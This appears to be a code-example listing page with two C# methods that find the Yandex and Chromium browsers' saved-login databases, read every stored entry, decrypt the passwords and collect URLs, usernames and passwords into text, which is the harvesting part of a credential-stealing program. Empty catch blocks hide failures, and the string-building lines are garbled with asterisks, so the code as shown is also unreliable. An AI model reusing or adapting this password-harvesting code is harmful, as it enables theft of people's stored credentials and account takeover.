Exemplo n.º 1
0
        public static string GetLoginsYandex()
        {
            string str  = string.Empty;
            string path = string.Empty;

            path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Yandex\YandexBrowser\User Data\Default\Login Data";
            if (!System.IO.File.Exists(path))
            {
                path = @"C:\Documents and Settings\" + Environment.UserName + @"\Application Data\Local Settings\Yandex\YandexBrowser\User Data\Default\Login Data";
                if (!System.IO.File.Exists(path))
                {
                    path = @"D:\Documents and Settings\" + Environment.UserName + @"\Application Data\Local Settings\Yandex\YandexBrowser\User Data\Default\Login Data";
                    if (!System.IO.File.Exists(path))
                    {
                        path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData).Replace(@"C:\", @"D:\") + @"\Yandex\YandexBrowser\User Data\Default\Login Data";
                    }
                }
            }
            if (System.IO.File.Exists(path))
            {
                try
                {
                    SQLiteHandler handler = new SQLiteHandler(path);
                    handler.ReadTable("logins");
                    for (int i = 0; i <= (handler.GetRowCount() - 1); i++)
                    {
                        try
                        {
                            string str4 = handler.GetValue(i, "origin_url");
                            string str5 = handler.GetValue(i, "username_value");
                            string str6 = Decrypt(Encoding.Default.GetBytes(handler.GetValue(i, "password_value")));
                            if ((str5 != "") || (str6 != ""))
                            {
                                string str8 = str;
                                str = str8 + "-===============[Yandex Browser]===============-" + Environment.NewLine + "Link: " + str4 + Environment.NewLine + "Username: "******"Password: "******"Browser: Yandex" + Environment.NewLine;
                            }
                        }
                        catch
                        {
                        }
                    }
                }
                catch
                {
                }
            }
            return(str);
        }
Exemplo n.º 2
0
        public static string GetLoginsChromium()
        {
            string str  = string.Empty;
            string path = string.Empty;

            path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + @"\ChromiumPortable\Data\Profiles\Default\Login Data";
            if (!System.IO.File.Exists(path))
            {
                path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + @"\Chromium\Data\Profiles\Default\Login Data";
            }
            if (System.IO.File.Exists(path))
            {
                try
                {
                    SQLiteHandler handler = new SQLiteHandler(path);
                    handler.ReadTable("logins");
                    for (int i = 0; i <= (handler.GetRowCount() - 1); i++)
                    {
                        try
                        {
                            string str4 = handler.GetValue(i, "origin_url");
                            string str5 = handler.GetValue(i, "username_value");
                            string str6 = Decrypt(Encoding.Default.GetBytes(handler.GetValue(i, "password_value")));
                            if ((str5 != "") || (str6 != ""))
                            {
                                string str8 = str;
                                str = str8 + "-===============[Chromium]===============-" + Environment.NewLine + "Link: " + str4 + Environment.NewLine + "Username: "******"Password: "******"Browser: Chromium" + Environment.NewLine;
                            }
                        }
                        catch
                        {
                        }
                    }
                }
                catch
                {
                }
            }
            return(str);
        }